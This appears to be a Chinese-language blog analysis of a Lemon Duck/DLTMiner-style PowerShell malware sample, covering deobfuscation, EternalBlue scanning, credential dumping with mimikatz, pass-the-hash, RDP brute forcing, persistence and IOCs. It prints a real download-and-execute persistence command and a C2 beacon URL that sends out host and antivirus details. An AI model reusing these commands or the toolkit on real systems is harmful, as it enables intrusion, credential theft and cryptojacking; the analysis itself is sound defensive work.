enter description here

1.起源

前段时间收到一份样本 类似于DLTMiner活动攻击留下的样本,这份样本与2019年DLTMiner及其相似,同时也与近期的exchange服务器相关

同时 Kyle Hanslovan在推文发布一张图,图中有powershell执行代码调用执行url地址的字符串

1

http[:]//p。estonine。com/p?e

调用执行的依旧为powershell的代码

2

2.powershell混淆

解码powershell的混淆,去掉 IEX 或 Invoke-Expression

3

4

5

解码后

解出多次混淆后,下图为最后完整的代码

6

这里重点内容为 下载执行update。png的内容

7

updata-png

而update。png内容如下

8

9

解码混淆两三次后如下图所示

10

下面重点开始讲这部分的脚本的功能。

3.update-png的功能

3.1.永恒之蓝

加入了开源脚本的powershell exp

10

3.2永恒之蓝扫描

加入了开源脚本ms17-010scanner.cs

11

3.3 目标选择

随机生成用于定位的IP地址,并在特定端口号上进行端口扫描以侦听服务,例如445 / TCP(SMB),1433 / TCP(MS-SQL服务器)或65529 / TCP(先前已被该威胁参与者破坏的计算机)。

脚本从远程计算机获得响应后,它将探测EternalBlue SMB漏洞的IP地址,或对MS-SQL服务执行暴力攻击,以试图破坏计算机。带有此侦听端口的计算机在65529 / TCP上打开,之前,该计算机或其他威胁因素已使用类似的脚本破坏了该计算机

12

3.4powerDump

使用powershell dump 从注册表中读取哈希值来执行哈希转储

13

3.5mimikatz

加入了开源脚本 将单文件载入mimikaze.DLL到powershell的内存中运行,分别为32位和64位的dll

14

15

32bit - D58A41A393F4B9A406226689F29C7017CA20F788

64bit - FA8E53CB3497CBF81CFEE0DDBF171DE98B83211D

16

17

获取信息

24

3.6TheHash

加入了开源脚本Invoke-TheHash包含用于执行传递哈希WMI和SMB任务的PowerShell函数

18

执行psexec

23

3.7 RDP爆破

脚本内嵌用户名字典和hash表和明文密码表
用户列表:

1
2
administrator
admin

19

3.8 权限维持

创建计划任务和防火墙 添加转发策略

上传文件到:

1
2
3
4
5
6
7
8
C:\Users\<Name>\AppData\Roaming\sign.txt 内容0:                        


C:\Users\<Name>\AppData\Roaming\flashplayer.tmp 内容:try{(new ActiveXObject("WScript.Shell")).Run("powershell -w hidden -ep bypass -c while($True){try{IEX (New-Object Net.WebClient).downloadstring('http://p.estonine.com/low?ipc')}catch{Sleep -m 2500000}}",0,false);}catch(e){}



C:\Users\<Name>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\FlashPlayer.lnk 快捷方式指向的目标:C:\Windows\system32\wscript.exe //e:javascript "%appdata%\flashplayer.tmp"

21

22

4.执行过程

25

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
while(true)循环执行:
1.线程休眠200秒
2.创建名为Global\PSexec的互斥锁
3.获取第一张网卡的MAC地址
4.获取杀毒软件
5.如果存在杀毒 (条件判断)
True:$av变量为将杀毒名称以:<name>|<name>的格式拼接在一起,例如:Windows Defender|360安全卫士|
False:$av变量为空

6.拼接url格式:http://p.estonine.com/getnew.php?ver=2020&mac=<网卡mac地址>&re=&pid=<当前进程pid>&av=<杀毒名称>&ver=<系统版本>&bit=<系统位数>
7.从url请求对应的内容读取内容后将##替换为空base64解码执行下载的内容
8.调用localscan函数检查本地和内网445端口判断是否开启
9.调用localscan函数检查本地和内网65353端口判断是否开启
10.$Bserver数组不存在该IP调用copyrun函数
调用Invoke-SMBC函数hash传递攻击
传递成功:调用Invoke-SE函数hash传递攻击执行开启防火墙和设置计划任务,和上传文件到指定路径(如果源路径存在该文件则删除)

创建计划任务和防火墙 添加转发策略
文件上传

传递失败:
11.MS17010扫描攻击
12.休眠100秒

5.IOC

此脚本结合了多种开源的powershell脚本形成了此内网横向渗透的工具集

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
Main object - "update.png"   

URL http://188.166.162.201/update.png
MD5 4dd2c9bfd0fc3ee162980af37ce1d2ec

DNS requests

DOMAIN p.estonine.com
DOMAIN api.ipify.org


Connections

IP 188.166.162.7
IP 188.166.162.201
IP 188.166.162.2
IP 188.166.162.3
..........

链接:

https://app.any.run/tasks/91d52b22-d87f-4a7e-bd3a-22c48525df6d/

https://422926799.github.io/posts/855d1ef5.html

https://github.com/tevora-threat/eternal_blue_powershell/blob/master/EternalBlue.ps1

https://github.com/vletoux/pingcastle/blob/master/Scanners/ms17_010scanner.cs

https://news.sophos.com/en-us/2019/10/01/lemon_duck-powershell-malware-cryptojacks-enterprise-networks/

https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/Invoke-PowerDump.ps1

https://gist.githubusercontent.com/DShankle/825a976504df012d7ce465f10eaaa728/raw/603c3de11c264c0aa94e03980b8ac12bc6cda29c/gistfile1.txt

https://raw.githubusercontent.com/Kevin-Robertson/Invoke-TheHash/master/Invoke-SMBClient.ps1